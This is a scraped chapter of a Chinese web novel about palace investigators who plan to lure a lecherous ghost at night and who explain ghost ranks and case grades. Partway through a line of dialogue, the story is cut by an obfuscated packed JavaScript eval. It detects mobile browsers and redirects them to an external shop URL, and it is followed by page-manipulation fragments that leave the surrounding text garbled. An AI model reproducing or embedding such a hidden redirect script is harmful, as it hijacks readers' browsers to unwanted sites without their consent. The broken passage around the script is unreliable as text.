文趣网 > 其他小说 > 应司正她手握生死簿 > 15. 宫女投井案(十五)
    陆思迁听完他说的话,一脸一言难尽地发表感言:“还……还是个好色之徒。”

    “所以呢,想要知道究竟是怎么回事,晚上去看看就知道了。”

    说罢,陆照夜抬头看了眼陆思迁,会心一笑。

    陆思迁顿感不妙,抬手上下护着自己的身体,自家头儿一笑准没好事,他可谓是十分了解他的行事风格,以至于他看他一眼,他便知道他是何意味了。

    他肯定要哄骗他说些什么不入虎穴焉得虎子之类的话了。

    于是他扭捏着开口:“哥,我这……我不合适……”

    “哪不合适了,我看挺合适的,稍微准备下。”陆照夜越说越肯定,“保管能把那好色之徒引出来。”

    宝月听了半天才知道是怎么回事,原是要让陆思迁以身作饵。

    但看陆思迁这宁死不屈的模样,真的行么?

    宝月低睫,思考了一下,轻声道:“我来吧。”

    陆照夜听见她这话怔住了,有些意外。

    而陆思迁却感觉抓到了救命稻草,但只要陆照夜没点头,他就不能说什么,只能睁着一双大眼睛祈求地看着宝月。

    “会有危险。”陆照夜看着她,片刻后认真道,“你不合适。”

    她和陆思迁不一样,在他眼里,陆思迁好歹是破云司的一员,这样的场面大大小小是见过的,受过专业训练且上过手有经验。

    再不济,也是皮糙肉厚,不用他分心。

    而她,是内廷女官,细皮嫩肉,弱柳扶风的,万一出了什么事,他怎么跟皇帝老儿交代,赔宫正司一个女官,还那位徐司正一个好友。

    况且,对面是人是鬼还不清楚。

    是鬼的话,是什么品阶的鬼魅,也还不清楚。

    不能冒险。

    陆思迁明白,陆照夜这话,便是拒绝了。

    他对宝月此举心存感激,虽然不是很想扮女装,但更不想看宝月陷入危险,于是他也开口劝说道:“是啊,应司正,太危险了,而且你长得这么好看……万一对方真对你图谋不轨,那就糟糕了。”

    宝月看他一眼,平静道:“你去的话,就露馅了,对面大概也不会上钩。”

    她明白他们的顾虑,但也是直接点出了问题所在。

    陆思迁虽还是少年,但体格也不小了,哪是女子的身形。

    说罢,宝月又抬眼看向陆照夜,“再者,此案是破云司与宫正司协同查办,哪有宫正司置身事外的道理。”

    陆照夜纠正她话里的错误:“现在是破云司该负责的环节。”

    “我想陆大人的本意是引蛇出洞,不是打草惊蛇。”宝月不理会他说的话,而是目光坚定地看着他又补充道,“所以,我是最合适的。”

    陆照夜同样看着她,一时没有说话。

    见他没有点头,宝月又出声保证:“我可以保护好我自己。”

    半晌,陆照夜轻叹一口气,像是妥协,他从腰间掏出一把匕首,放到她面前,又看了眼陆思迁,抬了抬下巴道:“陆思迁,给她几张符。”

    这便是答应了。

    陆思迁一时没反应过来,直到宝月的视线落在他身上,他才连“哦”了好几声,从腰间的储物袋里掏出好几张护身符给宝月,顺便跟她讲了这符箓的用处:“这是护身符,有危险时可挡轻伤,符身发黑碎裂时需立即撤离。”

    宝月看着递到自己手里的那几张符,意思就是几张挡轻伤和勘测危险指数的符箓。

    虽然对她没什么用,但她还是接过并且道了谢:“多谢。”

    “那子时见。”陆照夜拿起桌上的刀,刚走出没两步,又转过身看着宝月,欲言又止。

    宝月看着他,歪了歪头表示疑惑。

    “那个……”陆照夜看了她一眼,斟酌道,“记得换一身衣服。”

    说完不等宝月反应就转身走了,陆思迁紧随其后,笑容灿烂:“回见,应司正。”

    宝月点了点头,目送他们离开,等人都走了之后,她默默地低头看了眼自己身上的官服。

    幽会吗?还要换衣服。

    流氓不管你穿什么衣服都是流氓。

    ……

    宫道上铺的青砖长得仿佛没有尽头,道上的雪被清扫得干净。

    陆照夜扶着腰间长刀慢慢走在道上,身后跟着陆思迁和两个侍卫,时有一些宫女太监路过,向他欠身行礼。

    陆思迁凑到陆照夜身边轻声说:“哥,过两天侯爷生辰,您别忙忘了,记得回府给侯爷贺寿,他老念叨您呢。”

    陆思迁从小在永安侯府长大,小时候流落街头,是永安侯陆禹将其带回府中,给陆照夜当玩伴,名字是永安侯取的,姓也随了陆家。

    后来陆照夜进了破云司,他便跟着陆照夜一起去了,倒也不是走后门。

    是因为他有一样的天赋,而当时永安侯将他带回府中,有一部分原因也是因为这个。

    这也是破云司的人都称呼陆照夜为“大人”、“主子”,而他能只叫他“哥”的原因。

    陆思迁一开始也是很受规矩跟着大家这么叫的,后来因为陆照夜听着别扭,就让他改口了,按原来的称呼叫。

    所以陆思迁是打心底里感激侯府的,主打一个主子让他往东,他绝不往西,对陆照夜的忠诚程度,大概是到了能上刀山,下火海的程度。

    “行,我知道了。”

    陆照夜听他这么一说点了点头,他就说心里总觉得有什么事要做,但就是想不起来,一忙活起来就没时间想了。

    “那您可别光知道啊……”听到他这个回答,陆思迁脸一皱着急了起来,小心嘀咕道。

    陆照夜耳朵尖,笑着问他:“你说什么?”

    陆思迁闻言一改愁眉苦脸的模样,仿佛刚才嘀咕的人不是他。

    他看着他道:“我说那您可千万记得啊,您上回因为办案晚了将近一个时辰到,侯爷差点把我耳朵拧下来,非说是我没提醒您,我可冤枉了。”

    陆照夜笑着侧头看他:“哪有那么严重?”

    陆思迁告状似的:“就有,现在想起来还疼呢。”

    陆照夜瞥了眼他的耳朵,笑着逗他:“那正好,今年拧另一边,对称了。”

    “……别啊哥。”陆思迁一听着急了,抬手捂住了另一边耳朵。

    他这人单纯,别人说什么他信什么,有点思考不一会儿就能被人带偏。

    陆照夜看他当真了,叹了口气抱着手道:“

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883591|212044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    行,放心吧,今年保证一刻都不迟,让你另一只耳朵免受于难,这桩案子办完刚好可以休息,也能赶上。”

    正好,他回府也有一些事情要弄清楚。

    陆思迁一听眉眼舒展,笑着道:“那今夜我需要跟着您蹲守不?”

    “不用。”陆照夜摇摇头,“你正常带人夜巡,人多了容易坏事。”

    “好嘞。”陆思迁点了点,一脸欢乐。

    “……”

    说话间,几人已经出了东安门,玉河在东安门外沿皇城东垣向南流,过望恩桥,河东岸隔长街,街巷幽深,再走几步,便到破云司衙署。

    未至深冬,这时节玉河河面上尚未结冰,日光晴好时,水面上波光粼粼,令人不觉幽寒,河沿两侧遍植垂柳,不过此时不见翠绿,万千柳条上方只余零零散散几片枯黄残叶,时不时随风摇曳,掠过水面。

    陆照夜刚跨进破云司大门门槛,就撞见匆匆带队往外走的周逾白。

    陆思迁十分乐观地同他打招呼:“周副使。”

    周逾白抛给他的眼神算作回应,将目光落回陆照夜身上。

    “宫里的案子办完了?”

    “没。”陆照夜诚实摇头。

    “要这么久么?”周逾白疑惑,将目光转向陆思迁,“思迁不是和我说是普通命案么?宫正司办不了?”

    被点名的陆思迁抬头望天。

    “今夜见分晓。”陆照夜回头看了眼陆思迁,收回目光笑着说,“倒是你,这么急匆匆的,去哪?”

    不提还好,一提周逾白眉头都拧起来了,他轻叹了一口气,答道:“醉仙楼那边传有妖邪作祟,据说死了几个打尖住店的男子和一个楼内伙计,我带队过去看看。”

    “定级了么?”陆照夜点了点头,又问。

    “嗯,据勘测的侍从来报,近乙级,猜测是厉鬼。”周逾白越说面色越显凝重。

    “我还以为是妖鬼或者是其他什么不可名状之物。”陆照夜看他一脸凝重,笑着同他开玩笑,试图让他放松些。

    亡魂分七等。

    游魂无怨,执念未消,怨气初聚,厉鬼成形,恶鬼噬人,妖鬼溷迹三界,不可名状之物在簿外。

    此簿,指的是幽冥之主手里的生死簿。

    当然,这种程度的案子他们从未见过,也从来没有处理过这么严重的案子。

    这传说中生死簿存在与否,亦不得而知。

    破云司的案件分级,按甲乙丙丁区分案件严重程度及机密性。

    甲级是皇帝密诏,及妖鬼作祟。

    乙级为恶鬼厉鬼行凶、或大规模灵异。

    丙级为怨魂或执念未消者作乱。

    丁级是游魂相关,游魂不害人,一般不会引起什么混乱。

    其中级别到达甲乙的,皆需指挥使亲自出面,副使辅助。

    周逾白听见他这话气笑了:“你就不能盼我点好?”

    “这不是看你紧张嘛。”陆照夜拍了拍他的肩头,一边往里走,一边笑道,“去吧,一切顺利,等你好消息。”

    周逾白心中的凝重被他这么一闹,倒是放松了不少,他看了眼陆照夜离去的背影,收回视线摇头笑了笑,带队踏着夜色去了醉仙楼。